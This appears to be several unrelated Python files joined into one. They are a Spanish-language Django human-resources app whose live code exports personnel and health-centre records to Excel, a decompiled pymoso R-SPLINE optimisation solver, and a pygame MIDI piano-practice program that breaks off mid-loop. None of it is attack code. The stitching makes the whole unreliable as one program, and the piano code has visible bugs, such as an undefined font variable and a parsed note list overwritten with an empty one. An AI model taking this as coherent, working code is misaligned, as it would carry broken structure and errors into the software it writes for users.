# def search_archivo(request):
# 	query = request.POST.get('buscar',)
# 	if query:
# 		qset = (
# 			Q(no_control__icontains=query) |
# 			Q(expide__icontains=query) |
# 			Q(firma__icontains=query)
# 		)
# 		registros = CorrespondenciaAr.objects.filter(qset)
# 	else:
# 		registros = CorrespondenciaAr.objects.all()

# 	correspondencia_list = registros
# 	paginator = Paginator(correspondencia_list, 25)

# 	page = request.GET.get('page')
# 	try:
# 		results = paginator.page(page)
# 	except PageNotAnInteger:
# 		results = paginator.page(1)
# 	except EmptyPage:
# 		results = paginator.page(paginator.num_pages)

# 	return render_to_response("informacion_del_archivo.html", {
# 						        "archivo": results,
# 						        "query": query },
# 						        context_instance=RequestContext(request)
# 						     )

# #ROAV --------------- View's to create information ---------------

# #ROAV ----- View to create a new register into Archivo. -----
# def crear_archivo(request):
# 	if request.POST:
# 		form = CorrespondenciaArForm(request.POST)
# 		if form.is_valid():
# 			form.save()

# 			return HttpResponseRedirect('/')

# 	else:
# 		form = CorrespondenciaArForm()

# 	args = {}
# 	args.update(csrf(request))

# 	args['form'] = form

# 	return render_to_response('crear_correspondenciaar.html',
# 								args,
# 								context_instance=RequestContext(request)
# 								)

# #ROAV ----- View to create a new register into Correspondencia RH. -----
# def crear_correspondencia(request):
# 	if request.POST:
# 		form = CorrespondenciaForm(request.POST)
# 		if form.is_valid():
# 			form.save()

# 			return HttpResponseRedirect('/')

# 	else:
# 		form = CorrespondenciaForm()

# 	args = {}
# 	args.update(csrf(request))

# 	args['form'] = form

# 	return render_to_response('crear_correspondencia.html',
# 								args,
# 								context_instance=RequestContext(request)
# 								)
# def codigos(request):
# 	if request.POST:
# 		form = CodigoForm(request.POST)
# 		if form.is_valid():
# 			form.save()

# 			return HttpResponseRedirect('/')

# 	else:
# 		form = CodigoForm()

# 	args = {}
# 	args.update(csrf(request))

# 	args['form'] = form

# 	return render_to_response('crear_codigo.html',
# 								args,
# 								context_instance=RequestContext(request)
# 								)

#ROAV --------------- View's to show information ---------------

#ROAV ----- View to show Plantilla. -----
# def informacion_del_personal(request):
# 	ads = request.session['gAds']

# 	query = request.POST.get('buscar',)

# 	if request.user.is_superuser:
# 		adscripciones =  Adscripcion.objects.raw('SELECT id_ads, nombre FROM sit_adscripcion')
# 		allPersonal = Datos_persona.objects.raw('SELECT id_persona, nombre FROM sit_datos_persona')

# 		if query:
# 			if len(query) == 4:
# 				q = int(query)
# 				qset = Q(fecha_ingreso__year=q)
# 			else:
# 				q = str(query)
# 				qset = (
# 					Q(nombre__icontains=q) |
# 					Q(rfc__icontains=q) |
# 					Q(adscripcion__nombre__icontains=q) |
# 					Q(contrato__tipo__icontains=q)
# 					)
# 			results = Datos_persona.objects.filter(qset).order_by('nombre')
# 			encontrados = Datos_persona.objects.filter(qset).count()
# 			query = query
# 		else:
# 			results = Datos_persona.objects.all().order_by('nombre')
# 			encontrados = ""
# 			query = ""

# 		noPersonal = Datos_persona.objects.all().count()
# 		contratos = Datos_persona.objects.filter(contrato__in = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]).count()
# 		regularizados = Datos_persona.objects.filter(contrato = 28).count()
# 		homologados = Datos_persona.objects.filter(contrato = 29).count()
# 		bases = Datos_persona.objects.filter(contrato = 27).count()
# 	else:
# 		adscripciones =  ""
# 		allPersonal = Datos_persona.objects.raw('SELECT id_persona, nombre FROM sit_datos_persona WHERE adscripcion_id = %s', [ads])
# 		if query:
# 			if len(query) == 4:
# 				q = int(query)
# 				qset = Q(fecha_ingreso__year=q)
# 			else:
# 				qset = (
# 					Q(nombre__icontains=query) |
# 					Q(rfc__icontains=query) |
# 					Q(adscripcion__nombre__icontains=query) |
# 					Q(contrato__tipo__icontains=query)
# 					) & Q(adscripcion = ads)
# 		else:
# 			qset = Q(adscripcion = ads)

# 		encontrados = Datos_persona.objects.filter(qset).count()
# 		if encontrados >= 1:
# 			query = query
# 		else:
# 			query = ""
# 		noPersonal = Datos_persona.objects.filter(adscripcion = ads).count()
# 		results =  Datos_persona.objects.filter(qset).order_by('nombre')
# 		contratos = Datos_persona.objects.filter(Q(contrato__in = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]) & Q(adscripcion=ads)).count()
# 		regularizados = Datos_persona.objects.filter(Q(contrato = 28) & Q(adscripcion = ads)).count()
# 		homologados = Datos_persona.objects.filter(Q(contrato = 29) & Q(adscripcion = ads)).count()
# 		bases = Datos_persona.objects.filter(Q(contrato = 27) & Q(adscripcion = ads)).count()

# 	personal_list = results
# 	paginator = Paginator(personal_list, 40)

# 	page = request.GET.get('page')
# 	try:
# 		personal = paginator.page(page)
# 	except PageNotAnInteger:
# 		personal = paginator.page(1)
# 	except EmptyPage:
# 		personal = paginator.page(paginator.num_pages)
# 	return render_to_response('informacion_del_personal.html',
# 								{'personal' : personal,
# 								 'adscripciones' : adscripciones,
# 								 'allPersonal' : allPersonal,
# 								 'encontrados' : encontrados,
# 								 'personalContrato' : contratos,
# 								 'personalRegularizado' : regularizados,
# 								 'personalHomologado' : homologados,
# 								 'personalBase' : bases,
# 								 'personalTotal' : noPersonal,
# 								 'query' : query,
# 								},
# 							 	context_instance=RequestContext(request)
# 							 )

# #ROAV ----- View to show an any person. -----
# def informacion_de_la_persona(request):
# 	person_id = request.GET.get('id')

# 	return render_to_response('informacion_de_la_persona.html',
# 								{'personal' : Datos_persona.objects.get(id_persona = person_id),},
# 							 	context_instance=RequestContext(request)
# 							 )

# #ROAV ----- View to show Archivo. -----
# def informacion_del_archivo(request):
# 	query = request.POST.get('buscar',)
# 	if query:
# 		qset = (
# 			Q(no_control__icontains=query) |
# 			Q(no_documento__icontains=query) |
# 			Q(adscripcion__icontains=query) |
# 			Q(firma__icontains=query)
# 			)
# 		results = CorrespondenciaAr.objects.filter(qset).order_by('no_control')
# 		noCorres = CorrespondenciaAr.objects.filter(qset).count()
# 	else:
# 		results = CorrespondenciaAr.objects.all().order_by('no_control')
# 		noCorres = CorrespondenciaAr.objects.all().count()

# 	archivos_list = results
# 	paginator = Paginator(archivos_list, 26)

# 	page = request.GET.get('page')
# 	try:
# 		archivos = paginator.page(page)
# 	except PageNotAnInteger:
# 		archivos = paginator.page(1)
# 	except EmptyPage:
# 		archivos = paginator.page(paginator.num_pages)

# 	return render_to_response('informacion_del_archivo.html',
# 								{'archivo' : archivos,
# 								 'encontrados' : noCorres},
# 								context_instance = RequestContext(request)
# 							)

# def detalle_del_archivo(request):
# 	cor_id = request.GET.get('id_cor')

# 	return render_to_response('detalle_del_archivo.html',
# 								{'archivo' : CorrespondenciaAr.objects.get(id_cor = cor_id),},
# 							 	context_instance=RequestContext(request)
# 							 )

# #ROAV ----- View to show Correspondencia RH. -----
# def informacion_de_la_correspondencia(request):
# 	correspondencia_list = Correspondencia.objects.all()
# 	paginator = Paginator(correspondencia_list, 25)

# 	page = request.GET.get('page')
# 	try:
# 		correspondencia = paginator.page(page)
# 	except PageNotAnInteger:
# 		correspondencia = paginator.page(1)
# 	except EmptyPage:
# 		correspondencia = paginator.page(paginator.num_pages)

# 	return render_to_response('informacion_de_la_correspondencia.html',
# 								{'correspondencia' : correspondencia},
# 								context_instance = RequestContext(request)
# 							)

# #ROAV ----- View to show Centros. -----
# def informacion_de_los_centros(request):
# 	query = request.POST.get('buscar')
# 	if query:
# 		qset = (
# 			Q(nombre__icontains=query) |
# 			Q(clave__icontains=query) |
# 			Q(tipo_centro__icontains=query) |
# 			Q(municipio__nombre__icontains=query)
# 			)
# 		results = Adscripcion.objects.filter(qset).order_by('nombre')
# 		noCentros = Adscripcion.objects.filter(qset).count()
# 	else:
# 		results = Adscripcion.objects.all().order_by('nombre')
# 		noCentros = ""
# 		query = ""

# 	centro_list = results
# 	paginator = Paginator(centro_list, 25)

# 	page = request.GET.get('page')
# 	try:
# 		centro = paginator.page(page)
# 	except PageNotAnInteger:
# 		centro = paginator.page(1)
# 	except EmptyPage:
# 		centro = paginator.page(paginator.num_pages)

# 	return render_to_response('informacion_de_los_centros.html',
# 								{'centros' : centro,
# 								 'encontrados' : noCentros,
# 								 'query' : query,
# 								},
# 								context_instance = RequestContext(request)
# 							)

# def informacion_del_centro(request):
# 	centro_id = request.GET.get('id')

# 	return render_to_response('informacion_del_centro.html',
# 								{'centro' : Adscripcion.objects.get(id_ads = centro_id),},
# 							 	context_instance=RequestContext(request)
# 							 )

# #ROAV ----- View to show Minutario. -----
# def informacion_del_minutario(request):
# 	return render_to_response('informacion_del_personal.html',
# 								{'info' : Datos_persona.objects.all() },
# 							 	context_instance=RequestContext(request)
# # 							 )
# # def historial(request):
# # 	return render_to_response('historial.html',
# # 								{'historial' : LogEntry.objects.all()},
# # 							 	context_instance=RequestContext(request)
# 							 )

#ROAV --------------- View's to do export to excel. ---------------

#ROAV ----- Export plantilla to excel. -----
def exportar_plantilla(request):
	ads = request.session['gAds']
	query = request.GET.get('buscar')

	if request.user.is_superuser:
		if query:
			qset = (
				Q(nombre__icontains=query) |
				Q(rfc__icontains=query) |
				Q(adscripcion__nombre__icontains=query) |
				Q(contrato__tipo__icontains=query)
			)
			registros = Datos_persona.objects.filter(qset).order_by('nombre')
		else:
			registros = Datos_persona.objects.all().order_by('nombre')
	else:
		if query:
			qset = (
				Q(nombre__icontains=query) |
				Q(rfc__icontains=query) |
				Q(adscripcion__nombre__icontains=query) |
				Q(contrato__tipo__icontains=query)
				) & Q(adscripcion = ads)
			registros = Datos_persona.objects.filter(qset).order_by('nombre')
		else:
			registros = Datos_persona.objects.filter(adscripcion = ads).order_by('nombre')

	libro = Workbook()
	hoja = libro.get_active_sheet()
	hoja.title = "Personal"
	imagen = Image("sit/static/imgs/2808-small.png")
	imagen.drawing.left = 150 # distancia al borde izquierdo
	imagen.drawing.top = 0 # distancia al borde superior
	hoja.add_image(imagen)
	hoja.merge_cells("A2:J2")
	c = hoja["A2"]
	hoja["A2"] = "Subdirección de Recursos Humanos"
	c.style.font.size = 20
	c.style.font.name = "Calibri"
	c.style.font.bold = True
	c.style.alignment.horizontal = "center"

  # Ahora, se obtiene las celdas en la cuál se colocará el nombre
  # del campo. como son 8 campos, se necesita 8 celdas
	rango_celdas = hoja.range("B5:W5")

  # se crea una tupla con los nombres de los campos
	nombre_campos = ("NOMBRE","RFC","CURP","SEXO","JEFE INMEDIATO","CODIGO","CONTRATO","ADSCRIPCION","DEPARTAMENTO","FUNCION REAL","FECHA DE INGRESO","GRADO MAX ESTUDIOS",
  				"ESPECIALIDAD","SUELDO NETO","FECHA NACIMIENTO","ESTADO CIVIL","EMAIL","TEL CASA","TEL CEL","DOMICILIO","DIAS LABORALES","HORARIO",)
  # ahora, se asigna cada nombre de campo a cada celda
	cls = [0,4,7,9,19]
	for campo in rango_celdas:
		indice = 0  # se crea un contador para acceder a la tupla
		for celda in campo:
			celda.value = nombre_campos[indice]
			if indice in cls:
				hoja.column_dimensions[celda.column].width = 50
			elif indice == 3:
				hoja.column_dimensions[celda.column].width = 15
			elif indice == 16:
				hoja.column_dimensions[celda.column].width = 35
			else:
				hoja.column_dimensions[celda.column].width = 25

			celda.style.font.size = 14
			celda.style.font.name = "Calibri"
			celda.style.font.bold = True
			celda.style.alignment.wrap_text = True
			celda.style.font.color.index = Color.WHITE
			celda.style.fill.fill_type = Fill.FILL_SOLID
			celda.style.fill.start_color.index = Color.BLUE
			indice += 1
  # ya se tiene los nombres de los campos
  # ahora se obtiene el rango de celdas en donde irán los datos
	longitud = 5 + len(registros)
	celdas_datos = hoja.range("B6:W{0}".format(longitud))
  # # ahora vamos a dar los valores a las celdas con los datos
	fila = 0
  #hoja.row_dimenions[celda.row].height = 50
	for registro in registros:
		codigo = '%s %s %s %s %s %s' % (registro.psp, registro.ur, registro.ptda, registro.puesto, registro.hrs, registro.npto)
		contrato = '%s' % (registro.contrato)
		adscripcion = '%s' % (registro.adscripcion)
		departamento = '%s' % (registro.departamento)
		diasLabs = '%s' % (registro.dias_labs)
		horario = '%s' % (registro.horario)
		datos = (registro.nombre,registro.rfc,registro.curp,registro.sexo,registro.jefe_inmeadiato,codigo,contrato,adscripcion,departamento,registro.funcion_real,registro.fecha_ingreso,registro.gme,
			registro.especialidad,registro.sueldo_neto,registro.fecha_nac,registro.estado_civil,registro.email,registro.tel_casa,registro.tel_cel,registro.domicilio,
			diasLabs,horario,)
		indice = 0
		for celda in celdas_datos[fila]:
			celda.value = datos[indice]
			indice += 1
		fila += 1

   # se crea un objeto httpresponse y se pasa como parámetro el mimetype
   # diciendo que es excel
	response = HttpResponse(mimetype="application/ms-excel")  # HttpResponse viene del modulo django.http
	nombre_archivo = "Plantilla.xlsx"
	contenido = "attachment; filename={0}".format(nombre_archivo)
	response["Content-Disposition"] = contenido
	libro.save(response)
	return response

#ROAV ----- Export centros to excel. -----
def exportar_centros(request):
	# primero, hacemos la consulta de los usuarios
    #registros = Datos_persona.objects.all()
    query = request.GET.get('buscar')
    if query:
    	qset = (
    		Q(nombre__icontains=query) |
    		Q(clave__icontains=query) |
    		Q(tipo_centro__icontains=query)
    		)
    	registros = Adscripcion.objects.filter(qset).order_by('nombre')
    else:
    	registros = Adscripcion.objects.all().order_by('nombre')

    libro = Workbook()
    hoja = libro.get_active_sheet()
    hoja.title = "Centros"
    imagen = Image("sit/static/imgs/2808-small.png")
    imagen.drawing.left = 150 # distancia al borde izquierdo
    imagen.drawing.top = 0 # distancia al borde superior
    hoja.add_image(imagen)
    hoja.merge_cells("A2:J2")
    c = hoja["A2"]
    hoja["A2"] = "Subdirección de Recursos Humanos"
    c.style.font.size = 20
    c.style.font.name = "Calibri"
    c.style.font.bold = True
    c.style.alignment.horizontal = "center"

    # Ahora, se obtiene las celdas en la cuál se colocará el nombre
    # del campo. como son 8 campos, se necesita 8 celdas
    rango_celdas = hoja.range("B5:J5")
    # se crea una tupla con los nombres de los campos
    nombre_campos = ("CLAVE","TIPO CENTRO","NOMBRE","DOMICILIO","DIRECTOR","ADMINISTRADOR","JEFE DE RH","TELEFONO","CLUE",)
    # ahora, se asigna cada nombre de campo a cada celda
    for campo in rango_celdas:
        indice = 0  # se crea un contador para acceder a la tupla
        for celda in campo:
            celda.value = nombre_campos[indice]
            if indice == 3:
            	hoja.column_dimensions[celda.column].width = 15
            elif indice == 16:
            	hoja.column_dimensions[celda.column].width = 35
            else:
            	hoja.column_dimensions[celda.column].width = 25
            celda.style.font.size = 14
            celda.style.font.name = "Calibri"
            celda.style.font.bold = True
            celda.style.alignment.horizontal = "center"
            celda.style.alignment.wrap_text = True
            celda.style.font.color.index = Color.WHITE
            celda.style.fill.fill_type = Fill.FILL_SOLID
            celda.style.fill.start_color.index = Color.BLUE
            indice += 1
    # ya se tiene los nombres de los campos
    # ahora se obtiene el rango de celdas en donde irán los datos
    longitud = 5 + len(registros)
    celdas_datos = hoja.range("B6:J{0}".format(longitud))
    # # ahora vamos a dar los valores a las celdas con los datos
    fila = 0
    #hoja.row_dimenions[celda.row].height = 50
    for registro in registros:
    	datos = (registro.clave,registro.tipo_centro,registro.nombre,registro.domicilio,registro.director,registro.administrador,registro.jefe_rh,registro.telefono,registro.clue,)
    	indice = 0
    	for celda in celdas_datos[fila]:
        	celda.value = datos[indice]
        	indice += 1
    	fila += 1

     # se crea un objeto httpresponse y se pasa como parámetro el mimetype
     # diciendo que es excel
    response = HttpResponse(mimetype="application/ms-excel")  # HttpResponse viene del modulo django.http
    nombre_archivo = "Centros.xlsx"
    contenido = "attachment; filename={0}".format(nombre_archivo)
    response["Content-Disposition"] = contenido
    libro.save(response)
    return response

# def some_view(request):
#     # Create the HttpResponse object with the appropriate PDF headers.
#     response = HttpResponse(content_type='application/pdf')
#     response['Content-Disposition'] = 'attachment; filename="somefilename.pdf"'

#     buffer = BytesIO()

#     # Create the PDF object, using the BytesIO object as its "file."
#     p = canvas.Canvas(buffer)

#     # Draw things on the PDF. Here's where the PDF generation happens.
#     # See the ReportLab documentation for the full list of functionality.
#     p.drawString(100, 100, "Hello world.")
#     #p.drawInlineImage(self, image, x,y, width=None,height=None)

#     # Close the PDF object cleanly.
#     p.showPage()
#     p.save()

#     # Get the value of the BytesIO buffer and write it to the response.
#     pdf = buffer.getvalue()
#     buffer.close()
#     response.write(pdf)
#     return response


# uncompyle6 version 3.6.7
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: build/bdist.linux-x86_64/egg/pymoso/solvers/rspline.py
# Compiled at: 2019-03-26 14:59:03
# Size of source mod 2**32: 1465 bytes
__doc__ = '\nSummary\n-------\nProvide an implementation of R-SPLINE for users needing a \nsingle-objective simulation optimization solver. \n'
from ..chnbase import RASolver
import sys

class RSPLINE(RASolver):
    """RSPLINE"""

    def __init__(self, orc, **kwargs):
        if orc.num_obj > 1:
            print('--* Warning: R-SPLINE operates on single objective problems!')
            print('--* Continuing: R-SPLINE will optimize only the first objective.')
        (super().__init__)(orc, **kwargs)

    def spsolve(self, warm_start):
        """
        Use SPLINE to solve the sample path problem.

        Parameters
        ----------
        warm_start : set of tuple of int
                        For RSPLINE, this is a singleton set

                Returns
                -------
                set of tuple of int
                        For RSPLINE, this is a singleton set containing the sample
                        path minimizer
        """
        warm_start = self.upsample(warm_start)
        if not warm_start:
            print('--* R-SPLINE Error: Empty warm start. Is x0 feasible?')
            print('--* Aborting. ')
            sys.exit()
        ws = warm_start.pop()
        _, xmin, _, _ = self.spline(ws)
        return {
         xmin}


import pygame.midi
import pygame
from FinalDraw import *
from FinalNote import *
from Lines import *
from MMenu import *
import pygame_textinput
import random

pygame.init()
pygame.fastevent.init()
event_get = pygame.fastevent.get
event_post = pygame.fastevent.post
pygame.midi.init()

# Change this to override use of default input device
device_id = None
if device_id is None:
    input_id = pygame.midi.get_default_input_id()
else:
    input_id = device_id
i = pygame.midi.Input( input_id )

myfonts = pygame.font.SysFont('Comic Sans MS', 14)
MainMenu = myfonts.render('MainMenu', False, (0, 0, 0))
Library = myfonts.render('Library', False, (0, 0, 0))

white=(255,255,255)
black=(0,0,0)
blue=(0,255,255)
darkblue=(0,0,255)
size=(1300,900)
screen=pygame.display.set_mode(size)
FullPianoIMG=pygame.image.load('FullPiano.png')
SharpIMG=pygame.image.load('SharpD.png')
BassIMG=pygame.image.load('Bass.png')
TrebleIMG=pygame.image.load('Treble4.png')
NoteIMG=pygame.image.load('Note.png')
BlueNoteIMG=pygame.image.load('BlueNote.png')
HalfNoteIMG=pygame.image.load('HalfNote.png')
FlatIMG=pygame.image.load('Flat.png')
SharpNoteIMG=pygame.image.load('Sharp.png')
BlueHalfNoteIMG=pygame.image.load('BlueHalfNote.png')
BlueSharpNoteIMG=pygame.image.load('BlueSharp.png')
BlueFlatIMG=pygame.image.load('BlueFlat.png')

vaIMG=pygame.image.load('vaIMG.png')
vbIMG=pygame.image.load('vbIMG.png')

EthNoteTailIMG=pygame.image.load('EthTail.png')
RevEthNoteTailIMG=pygame.image.load('RevEthTail.png')

SixteenthNoteRestIMG=pygame.image.load('16thRest.png')
EthNoteRestIMG=pygame.image.load('8thNoteRest.png')
FourthNoteRestIMG=pygame.image.load('4thNoteRest.png')
HalfNoteRestIMG=pygame.image.load('HalfNoteRest.png')
WholeNoteRestIMG=pygame.image.load('WholeNoteRest.png')
StfEnder={'SixteenthNote':'16', 'SixteenthNotePlus':'24', 'EthNote':'32', 'EthNotePlus':'48', 'FourthNote':'64',
           'FourthNotePlus':'96', 'HalfNote':'128', 'HalfNotePlus':'192', 'WholeNote':'256'
          }
MeasEnderRev={'1':'SixteenthNote', '1.5':'SixteenthNotePlus', '2':'EthNote', '3':'EthNotePlus', '4':'FourthNote',
           '6':'FourthNotePlus', '8':'HalfNote', '12':'HalfNotePlus', '16':'WholeNote'}
MeasEnder={'SixteenthNote':'1', 'SixteenthNotePlus':'1.5', 'EthNote':'2', 'EthNotePlus':'3', 'FourthNote':'4',
           'FourthNotePlus':'6', 'HalfNote':'8', 'HalfNotePlus':'12', 'WholeNote':'16'}
RestImgs={'SixteenthNote':SixteenthNoteRestIMG, 'EthNote':EthNoteRestIMG, 'FourthNote':FourthNoteRestIMG,
          'HalfNote':HalfNoteRestIMG, 'WholeNote':WholeNoteRestIMG}
Convert={'WholeNote':'45'}
Trans={'1':'16', '2':'8', '4':'4', '8':'2', '16':'1'}

FlatList=[2,5,7,10,12,14,17,19,22,24,26,29,31,34,36,38]

SharpList=[41,43,46,48,50,53,55,58,60,
           62, 65,67,70, 72,74,77,79,82,84,86]
#Time Signature
TS=['','1']
# Beats Per Minute
BPM=''
## x,y coordinates of Blue Notes
RCoordBlue=[]
LCoordBlue=[]
## ex: InputListR=[['EthNote', 45], ['EthNote', [52, 55]], ...]
InputListR=[]
## example:  InputListR=[['EthNote', 39], ['EthNote', [30, 34]], ...]
InputListL=[]
## Current Notes being played for right side and left side of piano (RNow, LNow)
RNow=[89]
LNow=[0]
## Both
CurrentPlaying=[]
## marker to compare current note being played to desired note at given point in time (RList[InputMarkerR])
## if RNow==RList[InputMarkerR]: InputListR.append(...) and InputMarker+=1
InputMarkerR=0
InputMarkerL=0
##pulls Vertical Rectangles down when added to (marker)
marker=1
CSVFile='FurElise.csv'
NewTimeList=[]
RList=[['EthNote', 45]]
LList=[['EthNote', 35]]
state='MMenu'
## small boxes in 'Practice' section, boxone-five can only have one equal to True at a time
boxone=True
boxtwo=False
boxthree = False
boxfour=False
boxfive=False
## boxsix=nothing
boxsix=False
## inp-inf = rectangles you type in in 'Practice' section- starting top left, going right, down
inp=False
inb = False
inc=False
ind=False
ine=False
inf=False
## include chords
chordbox=False
go=False
NoteTypeList=['WholeNote']
NoteType=16
includechords=True
rangemin =''
rangemax=''
NumNotes=''

textinput = pygame_textinput.TextInput()
textinputtwo = pygame_textinput.TextInput()
textinputthree = pygame_textinput.TextInput()
textinputfour = pygame_textinput.TextInput()
textinputfive = pygame_textinput.TextInput()
textinputsix = pygame_textinput.TextInput()

while True:
    events=pygame.event.get()
    mouse=pygame.mouse.get_pos()
    screen.fill(white)
    if state=='NewCSV':
        ## Turning CSV File into NewTimeList
        j=Note.GetNoteList(CSVFile)
     #  j=[[[0, 960], 0], ...]
        j=NewTimeList
        ## Splitting into RList, LList
        LList, RList= Note.GetRLLists(j)
     #  LList=[[[0, 960], 0], ((960, 2880), 0), ...]
     ## Turning chords into [[x,y], [45,56]]] instead of [[[x,y], 56], [[x,y], 45]...]
        RList, LList = Note.FindChords(RList, LList)
        # RList= [[[0,960], [45, 51]], ...]
        LList, RList= Note.Reduce(LList, RList)
     #  LList=[[960, 0], [1920, 0], ...]
        RList, LList=Note.BreakUpBigRests(RList, LList, TS, BPM)
     #  LList=[[[250.0, 0], [250.0, 0], ...]
        LList, RList=Note.GetMeasLists(LList, RList, TS, BPM)
     #  L/RList = [['EthNote', 39], [...], ...]]
        LList, RList=Note.CombineRests(LList, RList, TS, BPM)
     #  LList=[['HalfNote', 0], ['FourthNote', 0], ...]
        LList, RList=Note.FixMeasSpacing(LList, RList, TS)
     #  LList=[['FourthNote', 0], ['EthNote', 0], ...]
        LList, RList=Note.FixPlusRest(LList, RList)
     #  LList=[['FourthNote', 0], ['EthNote', 0], ...]
        NewTimeList=Note.FixBug(j)
        #  NewTimeList=[[[1, 959], 0], ([961, 1199], 56), ...]
        ## makes vertical rectangles above virtual piano look cleaner and fixes a bug
        state=''
        marker=0

 # Note, Lines, Draw

    if state=='':
        Draw.Rects(NewTimeList, marker)  ## Draws Vertical Rectangles each frame, adding to variable marker moves rectangles downwards

        pygame.draw.rect(screen, white, (0,0,1300,250)) #block for sheet music
        pygame.draw.rect(screen, white, (0,500,1300,400))
        screen.blit(FullPianoIMG, (0,500))
        Draw.GrandStaff(TS)

        ## R/LCoord holds x,y coordinates of Notes - RCoord for RList, LCoord for LList - MeasR/LCoord = x,y coordinates for measure ends
        RCoord, LCoord, MeasRCoord, MeasLCoord=Note.GetCoord(RList, LList, TS)

        Note.va(RList, RCoord)  ##blit 8va IMG (above Note) on Notes above 74
        Note.PlusDot(RList, LList, black, RCoord, LCoord) ## Draw Circle to the right on Note + a half instances

        Note.NoteBlit(LCoord, LList, RCoord, RList) ## Blit Notes onto screen using x,y coordinates
        Lines.MeasLines(MeasLCoord, MeasRCoord) ## Draw Measure Lines

        Lines.LedgerLines(RList, RCoord, LList, LCoord)  ##Draw Ledger Lines on Notes above the staff

        for e in events:
            if e.type in [pygame.midi.MIDIIN]:

                if e.status==144:
                    ## CurrentPlaying = Notes currently playing with (0,89) default. Notes below 40 show up on left, Notes above 39 show up on right
                    CurrentPlaying.append(e.data1-20)
                    if e.data1-20>39:
                        if RNow==[89]:
                            RNow.remove(89)
                        RNow.append(e.data1-20)
                    else:
                        if LNow==[0]:
                            LNow.remove(0)
                        LNow.append(e.data1-20)
                    for a in CurrentPlaying:
                        if a==0:
                            CurrentPlaying.remove(0)
                if e.status==128:
                    CurrentPlaying.remove(e.data1-20)
                    if CurrentPlaying==[]:
                        CurrentPlaying.append(0)
                    if e.data1-20>39:
                        RNow.remove(e.data1-20)
                        if RNow==[]:
                            RNow.append(89)
                    else:
                        LNow.remove(e.data1-20)
                        if LNow==[]:
                            LNow.append(0)
        g=-1
        Rscore=0
        Lscore=0
        if len(CurrentPlaying)>0:
            while g+1<len(CurrentPlaying):
                g+=1
                if 89>CurrentPlaying[g]>39:
                    Rscore+=1
                if 0<CurrentPlaying[g]<40:
                    Lscore+=1
        if Rscore==0:
            if 89 not in CurrentPlaying:
                CurrentPlaying.append(89)
        else:
            if 89 in CurrentPlaying:
                CurrentPlaying.remove(89)
        if Lscore==0:
            if 0 not in CurrentPlaying:
                CurrentPlaying.append(0)
        else:
            if 0 in CurrentPlaying:
                CurrentPlaying.remove(0)
        CheckList=[]
        for a in NewTimeList:
            if a[0][0]<=marker<=a[0][1]:
                CheckList.append(a[1])
        Combined=[]
        for a in CheckList:
            for b in CurrentPlaying:
                if a==b:
                    Combined.append(a)

        if CheckList==Combined:
            marker+=110  #Arbitrary number- change to match Note Length, causes vertical rectangles to move down each frame
                        ## triggered each frame that CurrentPlaying==[LList[InputMarkerL], RList[InputMarkerR]]

        Draw.CurrentNotes(CurrentPlaying) ## Blit IMGs of blue Notes (on virtual piano) of Notes currently being played on keyboard
        if len(RList)>InputMarkerR:
            if isinstance(RNow, list) and len(RNow)==1:
                if RNow[0]==RList[InputMarkerR][1]:
                    InputListR.append(list((RList[InputMarkerR][0], RNow[0])))
                    InputMarkerR+=1
            else:
                if RNow==RList[InputMarkerR][1]:
                    InputListR.append(list((RList[InputMarkerR][0], RNow)))
                    InputMarkerR+=1
        if len(LList)>InputMarkerL:
            if isinstance(LNow, list) and len(LNow)==1:
                if LNow[0]==LList[InputMarkerL][1]:
                    InputListL.append(list((LList[InputMarkerL][0], LNow[0])))
                    InputMarkerL+=1
            else:
                if LNow==LList[InputMarkerL][1]:
                    InputListL.append(list((RList[InputMarkerL][0], LNow)))
                    InputMarkerL+=1

        ## InputCoordR/L holds x,y coordinates of blue notes (notes that have been played on keyboard) from InputListR/L
        InputCoordR, InputCoordL, InputMeasR, InputMeasL=Note.GetCoord(InputListR, InputListL, TS)
        ## Draws Blue Notes
        Note.DrawInputs(InputCoordL, InputCoordR, LList, RList, InputListL, InputListR)

        ## Draws Lines on Quarter, Eth, or 16th Notes for individual Notes
        Lines.SingleNotesR(RCoord, RList, black, TS)
        Lines.SingleNotesL(LCoord, LList, black, TS)

        ## Draws Lines on Quarter, Eth, or 16th Notes for multiple consecutive Notes
        Lines.MultiNotesR(RCoord, RList, black, TS)
        Lines.MultiNotesL(LCoord, LList, black, TS)

        ## Draws Blue Lines on Quarter, Eth, 16th Notes from InputListR/L
        Lines.SingleNotesR(InputCoordR, InputListR, blue, TS)
        Lines.SingleNotesL(InputCoordL, InputListL, blue, TS)
        Lines.MultiNotesR(InputCoordR, InputListR, blue, TS)
        Lines.MultiNotesL(InputCoordL, InputListL, blue, TS)

        time=16*(int(TS[0])/int(TS[1]))
        Rstf=0
        Rmark=0
        rm=0
        Rcheck=False
        for a in InputListR:
            Rstf+=int(StfEnder[a[0]])
            Rmark+=1
            rm+=int(MeasEnder[a[0]])
            if Rstf>935 and rm>=time:
                Rcheck=True
                break
            if rm>=time:
                rm=rm%time
        Lstf=0
        Lmark=0
        lm=0
        Lcheck=False
        for a in InputListL:
            Lstf+=int(StfEnder[a[0]])
            Lmark+=1
            lm+=int(MeasEnder[a[0]])
            if Lstf>935 and lm>=time:
                Lcheck=True
                break
            if lm>=time:
                lm=lm%time

        if Lcheck and Rcheck:
            del InputListR[0:Rmark+1]
            del InputListL[0:Lmark+1]
            del RList[0:Rmark+1]
            del LList[0:Lmark+1]
            InputMarkerR-=Rmark+1
            InputMarkerL-=Lmark+1
            if InputMarkerR<0:
                InputMarkerR=0
            if InputMarkerL<0:
                InputMarkerL=0
        Note.PlusDot(InputListR, InputListL, blue, InputCoordR, InputCoordL)
        pygame.draw.rect(screen, white, (0, 50, 10, 150))

    Menu.MainMenu(state)
    Menu.Practice(state, boxone,boxtwo,boxthree,boxfour,boxfive, chordbox)
    Menu.Learn(state)
    Menu.Library(state)
    TSOne=myfont.render(str(TS[1]), False, (0,0,0))
    if state=='':
        screen.blit(MainMenu, (1150, 180))

    for e in events:
        if state=='':
            if e.type == pygame.MOUSEBUTTONDOWN:
                if 1220>=mouse[0]>=1150 and  200>=mouse[1]>=180:
                    state='MMenu'

        if state=='MMenu':

            if e.type == pygame.MOUSEBUTTONDOWN:
                if 400>=mouse[0]>=300 and  300>=mouse[1]>=200:
                    state='Learn'
